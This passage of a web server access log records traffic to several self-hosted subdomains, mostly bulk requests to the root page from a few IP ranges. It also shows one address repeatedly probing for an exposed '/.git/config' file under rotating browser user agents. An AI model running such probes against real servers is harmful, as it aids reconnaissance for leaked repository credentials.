HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.29 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.13 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.14 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.44 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.119 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 401 61 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.204 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.248 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.139 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.147 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.75 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.30 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.249 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.57 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 200 1564 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.252 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 200 3879 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.253 - - [01/Jun/2024:13:36:33 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.39 - - [01/Jun/2024:13:36:34 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.89 - - [01/Jun/2024:13:36:34 -0500] "GET / HTTP/1.1" 302 217 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.57 - - [01/Jun/2024:13:36:34 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.79 - - [01/Jun/2024:13:36:34 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.207 - - [01/Jun/2024:13:36:34 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.76 - - [01/Jun/2024:13:36:34 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.210 - - [01/Jun/2024:13:36:34 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.139 - - [01/Jun/2024:13:36:34 -0500] "GET /index-05c8d69e1879af180228.js HTTP/1.1" 200 8177 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.121 - - [01/Jun/2024:13:36:34 -0500] "GET / HTTP/1.1" 200 8751 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.109 - - [01/Jun/2024:13:36:34 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:36:34 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Whale/3.26.244.14 Safari/537.36" +104.164.173.89 - - [01/Jun/2024:13:36:34 -0500] "GET /login?next=%2F HTTP/1.1" 200 4238 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.48 - - [01/Jun/2024:13:36:34 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.57 - - [01/Jun/2024:13:36:34 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.48 - - [01/Jun/2024:13:36:34 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3214 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.121 - - [01/Jun/2024:13:36:34 -0500] "GET /runtime.942fa683274b3d3c26cf.js HTTP/1.1" 200 1340 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.252 - - [01/Jun/2024:13:36:34 -0500] "GET /_nuxt/65f76a2.js HTTP/1.1" 200 4890 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.57 - - [01/Jun/2024:13:36:34 -0500] "GET /_nuxt/f8957e1.js HTTP/1.1" 200 2755 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.139 - - [01/Jun/2024:13:36:34 -0500] "GET /82.07b6b6a8b44f8618e2ac.js HTTP/1.1" 404 189 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.76 - - [01/Jun/2024:13:36:34 -0500] "GET /web/ HTTP/1.1" 200 2062 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.207 - - [01/Jun/2024:13:36:34 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3196 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.107 - - [01/Jun/2024:13:36:34 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.89 - - [01/Jun/2024:13:36:34 -0500] "GET / HTTP/1.1" 302 217 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.224 - - [01/Jun/2024:13:36:34 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.132 - - [01/Jun/2024:13:36:34 -0500] "GET / HTTP/1.1" 307 5 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.138 - - [01/Jun/2024:13:36:34 -0500] "GET / HTTP/1.1" 302 5 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.138 - - [01/Jun/2024:13:36:34 -0500] "GET /web/index.html HTTP/1.1" 200 14906 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.138 - - [01/Jun/2024:13:36:34 -0500] "GET /web/apploader.js?v=4.8.7.0 HTTP/1.1" 200 2871 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +192.168.0.105 - - [01/Jun/2024:13:36:36 -0500] "GET /web/index.html HTTP/1.1" 200 13048 "-" "Uptime-Kuma/1.23.13" +104.164.173.139 - - [01/Jun/2024:13:36:36 -0500] "GET /07b6b6a8b44f8618e2ac.js HTTP/1.1" 404 189 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.139 - - [01/Jun/2024:13:36:36 -0500] "GET /678d3c964d6dffc74c37.js HTTP/1.1" 404 189 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.139 - - [01/Jun/2024:13:36:36 -0500] "GET /607.678d3c964d6dffc74c37.js HTTP/1.1" 404 189 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:36:36 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4858.85 Safari/537.36" +154.28.229.121 - - [01/Jun/2024:13:36:36 -0500] "GET /vendor.c6c227160a59d929ec43.js HTTP/1.1" 200 1036973 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.121 - - [01/Jun/2024:13:36:36 -0500] "GET /main.712d6f30396f42406a3d.js HTTP/1.1" 200 778048 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.198 - - [01/Jun/2024:13:36:36 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:36:37 -0500] "GET /.git/config HTTP/2.0" 404 44 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" +104.164.173.252 - - [01/Jun/2024:13:36:38 -0500] "GET /_nuxt/0.841b070.js HTTP/1.1" 404 157 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:36:38 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Windows NT 6.2; rv:125.0) Gecko/20100101 Firefox/125.0" +154.28.229.210 - - [01/Jun/2024:13:36:39 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:36:39 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0" +104.164.173.114 - - [01/Jun/2024:13:36:40 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.19 - - [01/Jun/2024:13:36:40 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.62 - - [01/Jun/2024:13:36:40 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.19 - - [01/Jun/2024:13:36:40 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:36:41 -0500] "GET /.git/config HTTP/2.0" 404 0 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0" +104.164.173.176 - - [01/Jun/2024:13:36:41 -0500] "GET / HTTP/1.1" 302 95 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:36:42 -0500] "GET /.git/config HTTP/2.0" 404 150 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0" +104.164.173.193 - - [01/Jun/2024:13:36:44 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.231 - - [01/Jun/2024:13:36:44 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.231 - - [01/Jun/2024:13:36:44 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://dash.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.193 - - [01/Jun/2024:13:36:44 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://block.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:36:44 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0" +154.28.229.95 - - [01/Jun/2024:13:36:45 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.18 - - [01/Jun/2024:13:36:45 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.232 - - [01/Jun/2024:13:36:45 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.184 - - [01/Jun/2024:13:36:45 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.114 - - [01/Jun/2024:13:36:45 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.151 - - [01/Jun/2024:13:36:45 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.211 - - [01/Jun/2024:13:36:45 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.39 - - [01/Jun/2024:13:36:45 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:36:46 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:46 -0500] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:46 -0500] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:46 -0500] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:46 -0500] "HEAD / HTTP/1.1" 401 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:46 -0500] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +104.164.173.60 - - [01/Jun/2024:13:36:46 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +195.211.77.140 - - [01/Jun/2024:13:36:46 -0500] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +104.164.173.60 - - [01/Jun/2024:13:36:46 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://block.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +195.211.77.140 - - [01/Jun/2024:13:36:46 -0500] "HEAD / HTTP/1.1" 307 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:46 -0500] "HEAD / HTTP/1.1" 401 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +72.190.248.171 - - [01/Jun/2024:13:36:46 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +73.127.153.240 - - [01/Jun/2024:13:36:47 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +72.190.248.171 - - [01/Jun/2024:13:36:47 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://dash.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +73.127.153.240 - - [01/Jun/2024:13:36:47 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://block.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.79 - - [01/Jun/2024:13:36:47 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.211 - - [01/Jun/2024:13:36:47 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.201 - - [01/Jun/2024:13:36:47 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +195.211.77.140 - - [01/Jun/2024:13:36:47 -0500] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +104.164.173.225 - - [01/Jun/2024:13:36:47 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.54 - - [01/Jun/2024:13:36:47 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.27 - - [01/Jun/2024:13:36:48 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.27 - - [01/Jun/2024:13:36:48 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://dash.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +72.179.167.199 - - [01/Jun/2024:13:36:48 -0500] "GET / HTTP/1.1" 307 5 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:36:48 -0500] "GET /login HTTP/1.1" 200 231766 "-" "Uptime-Kuma/1.23.13" +154.28.229.125 - - [01/Jun/2024:13:36:48 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +71.204.68.82 - - [01/Jun/2024:13:36:48 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.63 - - [01/Jun/2024:13:36:48 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +71.204.68.82 - - [01/Jun/2024:13:36:48 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://terraria.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.16 - - [01/Jun/2024:13:36:48 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +104.164.173.161 - - [01/Jun/2024:13:36:48 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.16 - - [01/Jun/2024:13:36:49 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://router.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +104.164.173.161 - - [01/Jun/2024:13:36:49 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://block.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.146 - - [01/Jun/2024:13:36:49 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.146 - - [01/Jun/2024:13:36:49 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://warden.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +107.146.73.167 - - [01/Jun/2024:13:36:49 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.142 - - [01/Jun/2024:13:36:49 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.213 - - [01/Jun/2024:13:36:49 